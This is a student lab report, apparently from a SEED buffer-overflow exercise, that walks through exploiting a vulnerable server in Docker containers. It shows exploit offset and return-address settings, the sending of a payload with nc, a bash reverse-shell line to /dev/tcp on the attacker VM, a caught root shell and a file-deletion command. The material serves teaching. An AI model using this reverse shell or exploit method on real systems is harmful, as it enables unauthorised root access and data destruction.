Exploiting Buffer Overflow Vulnerabilities

Aim

The aim of this lab is to gain insight into buffer overflow vulnerabilities and learn how malicious users can exploit such vulnerabilities in an attack, and learn about some countermeasures against such attacks

Introduction and Background

The focus of this lab is to demonstrate buffer overflow vulnerabilities and methods to exploit them. Buffer overflow is the condition in which a program attempts to write data beyond the boundary of a buffer. This helps malicious users to alter the flow control of the program leading to execution of malicious code. We use a container to run the target server and send payload from our VM. Our final goal is to run a reverse shell on the VM connected to the target server, with root privileges.

Methods

STEP 0 : Before starting to work on this lab, we turn off the system's address randomization countermeasure, to make our task in the lab easier. Next, we create, compile and install the vulnerable program - stack.c on our VM.

```
[11/03/21]seed@VM:~/.../server-code$ gcc -DBUF_SIZE=$200 -o stack -z execstack -fno-stack-p
rotector stack.c
[11/03/21]seed@VM:~/.../server-code$ ls
Makefile  server.c  stack  stack.c
[11/03/21]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -fno-stack-protector -static -m32 -o stack-L1 sta
ck.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -static -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=200 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack-L4 stack.c
[11/03/21]seed@VM:~/.../server-code$ make install
cp server ../bof-containers
cp stack-* ../bof-containers
[11/03/21]seed@VM:~/.../server-code$ ls
Makefile  server  server.c  stack  stack.c  stack-L1  stack-L2  stack-L3  stack-L4
[11/03/21]seed@VM:~/.../server-code$
```

Then to finish setting up our lab, we create and establish the docker containers with the target servers. In a new terminal, we check to see if the containers are running.

```
[11/03/21]seed@VM:~/.../server-code$ dockps
0e102fe210f7  server-2-10.9.0.6
6a7290ca0d15  server-1-10.9.0.5
fa802239aca8  server-4-10.9.0.8
b1a02d80514b  server-3-10.9.0.7
```

STEP 1: We first send a benign message to the target server - 1 to check if target containers returns properly. In the first terminal where we checked the docker containers, we see the below returned values.

```
Attaching to server-3-10.9.0.7, server-2-10.9.0.6, server-4-10.9.0.8, server-1-10.9.0.5
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd488
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd418
server-1-10.9.0.5 | ==== Returned Properly ====
```

STEP 2: Now, in our exploit.py program we replace the ret value with the frame pointer above.

```
# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd488 +16  # Change this number
offset = 112+4           # Change this number
```

STEP 3: We then execute the exploit.py program and then send a payload with malicious code which can exploit the buffer overflow vulnerability. We save the payload in a file called badfile and send it to the target server.

```
[11/03/21]seed@VM:~/.../attack-code$ chmod +rwx exploit_new.py
[11/03/21]seed@VM:~/.../attack-code$ python3 exploit_new.py
[11/03/21]seed@VM:~/.../attack-code$ ls
badfile  brute-force.sh  exploit_new.py  exploit.py
[11/03/21]seed@VM:~/.../attack-code$ sudo ./exploit_new.py
[11/03/21]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.05 9090
[11/03/21]seed@VM:~/.../attack-code$
```

STEP 4: In the next step, we open exploit.py again and replace the below line of code:-

"echo '(^_^) SUCCESS (^_^)' *"

With

"/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1 *"

STEP 5: Then, we open a new terminal-3 and execute netcat command -

nc -lnv 7070

We then redo the step 3 of executing exploit.py and sending the badfile to target server.

STEP 6: Now in terminal3 we create a new sample.txt file. Then we change the command replaced above with -

“/bin/touch sample.txt; /bin/rm /home/seed/sample.txt *”

Then we redo step 3.

Results and Discussion

In steps 1 -3, we created an exploit program and used it to send a malicious payload file called badfile to the target server. This caused the vulnerable program to accept input of size upto 517 bytes instead of 6 bytes.

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd488
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd418
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd488
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd418
server-1-10.9.0.5 | (^_^) -LAB-8- SUCCESS (^_^)
```

Then in step 4 , we changed our exploit program to execute a command which creates a reverse shell and gets us root access to the server.

Then in step 5, we execute the exploit program which will give our machine root access to the target machine.

```
[11/03/21]seed@VM:~$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 55930
root@6a7290ca0d15:/bof#
```

Finally, in step 6, we change the exploit program to delete a file on the target machine. For demonstration purposes, we create a sample file on the machine beforehand. After executing the exploit, we can check through reverse shell that the file was deleted.

```
[11/03/21]seed@VM:~$ nc -lnv 7070
Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 55930
root@6a7290ca0d15:/bof# cd /home/seed
cd /home/seed
root@6a7290ca0d15:/home/seed# touch sample.txt
touch sample.txt
root@6a7290ca0d15:/home/seed# ls
ls
sample.txt
root@6a7290ca0d15:/home/seed# ls
ls
root@6a7290ca0d15:/home/seed#
```